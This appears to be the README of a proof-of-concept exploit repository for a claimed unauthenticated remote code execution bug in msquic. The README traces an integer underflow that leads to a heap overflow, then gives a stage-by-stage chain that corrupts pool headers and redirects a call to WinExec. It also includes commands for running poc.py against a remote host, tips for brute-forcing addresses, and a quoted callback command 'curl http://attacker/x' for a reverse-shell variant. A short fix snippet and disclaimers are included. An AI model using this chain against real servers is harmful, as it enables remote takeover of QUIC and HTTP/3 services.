CVSS 9.8 AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H — CWE-191 (Integer
Underwrite) → CWE-122 (Heap Overflow) → Remote Code Execution
A single unauthenticated UDP packet leads to arbitrary code execution in any service built on a vulnerable msquic (HTTP/3 servers, QUIC services).
⚠️ For educational purposes and authorized security testing only. Tested exclusively against a self-hosted lab (localhost). You are responsible for complying with the laws that apply to you.
In src/core/stream_send.c, QuicStreamSendWrite computes a stream
frame length as a difference of two uint16 values:
StreamFrameLength = AvailableBufferLength - DatagramLength; // uint16
memcpy(Dst, Src, StreamFrameLength);When DatagramLength > AvailableBufferLength, the subtraction wraps and
StreamFrameLength becomes ~65520. The subsequent copy writes 64 KB
into a ~1.2 KB buffer.
Measured geometry (instrumented build): the copy lands at
dst = buf_base + 1233 with len = 65520 — the entire block overflow
floods adjacent heap allocations, including their pool headers
(CXPLAT_POOL_HEADER, 16 bytes: union { Owner | SListEntry }).
The PoC needs no address knowledge (no leaks, no module bases):
| # | Stage | Mechanism |
|---|---|---|
| 1 | Trigger state | QUIC request 'A'*32 + 18 000 zero bytes + closed-loop thermostat (CL_TARGET=1282) hold the stream in the underflow window |
| 2 | Detonation | uint16 wrap → memcpy(65520) at base+1233 floods neighbor pool blocks |
| 3 | Carrier | Copied bytes carry [addr][0x00636c6163] pairs. Dual-value qword: the bytes of "calc\0" little-endian are a valid user-space pointer (0x00636c6163) — one qword is simultaneously the command string and the pool pointer |
| 4 | Owner paint | The overflow paints the Owner field of a pool block that is freed later |
| 5 | Free | CxPlatPoolFree: Pool = Header->Owner → dereferences the painted value |
| 6 | Fake pool | At the fixed low address 0x636c0000 (ASLR-free): { MaxDepth=0 @+0x18, Free=kernel32!WinExec @+0x28 } |
| 7 | Call | QueryDepthSList(Pool)=0 >= MaxDepth=0 → CALL [Pool+0x28] = WinExec(rcx=Header); rcx bytes read "calc\0" |
| 8 | RCE | CalculatorApp spawns on the target |
Reverse shell is the same chain with a different command (stage-1
callback was demonstrated: cmd /c curl http://attacker/x produced 60+
HTTP callbacks to the attacker listener).
The fake pool at 0x636c0000 must exist in the target process. The lab
helper commits it via VirtualAllocEx (POC_STAGE0=1, default against
the local lab). On a remote target the same two qwords are delivered
by the unlink write primitive of this same bug — mov [rax], rcx
with both operands attacker-controlled was proven to execute
([pool+0x28] = WinExec, crash fingerprint rw=1 target=WinExec+8).
WinExec (kernel32) is stable within a boot. The PoC default is a lab
value; override with POC_WINEXEC=0x... or brute-force the small
per-boot set (hundreds of attempts).
pip install -r requirements.txt
# Lab (localhost quicsample target):
python poc.py
# Against a target you are authorized to test:
POC_STAGE0=0 POC_TARGET_HOST=10.0.0.5 POC_TARGET_PORT=4567 python poc.pyOutput on success:
[attempt 02] underflow=1 painted_free=4
*** RCE: calculator spawned on the target (blind chain) ***
evidence saved: rce_evidence.log (underflow=1 painted_free=4)
Landing is probabilistic (the painted block must be freed): observed on the 2nd attempt of the final series; a 12-attempt series suffices for the lab.
- Vulnerability: any OS running a vulnerable msquic (the underflow is in cross-platform code).
- This PoC (chain): Windows x64 (the post-overflow primitive uses
CXPLAT_POOL/CXPLAT_POOL_HEADERandWinExecfrom the Windows platform layer). Linux/macOS need their own post-overflow chain. - Verified: Windows 11 x64 (build 26200) lab.
Fix the subtraction — validate before computing the frame length:
if (DatagramLength > AvailableBufferLength) {
return QUIC_STATUS_INVALID_STATE; // or clamp; never wrap
}Filtering cannot mitigate: the trigger is ordinary QUIC stream traffic.
poc.py single-file PoC (trigger → overflow → blind RCE)
README.md this file
LICENSE MIT
requirements.txt Python dependencies (aioquic)
Provided for education and authorized defense/testing. The author is not liable for misuse. Test only systems you own or are explicitly authorized to test.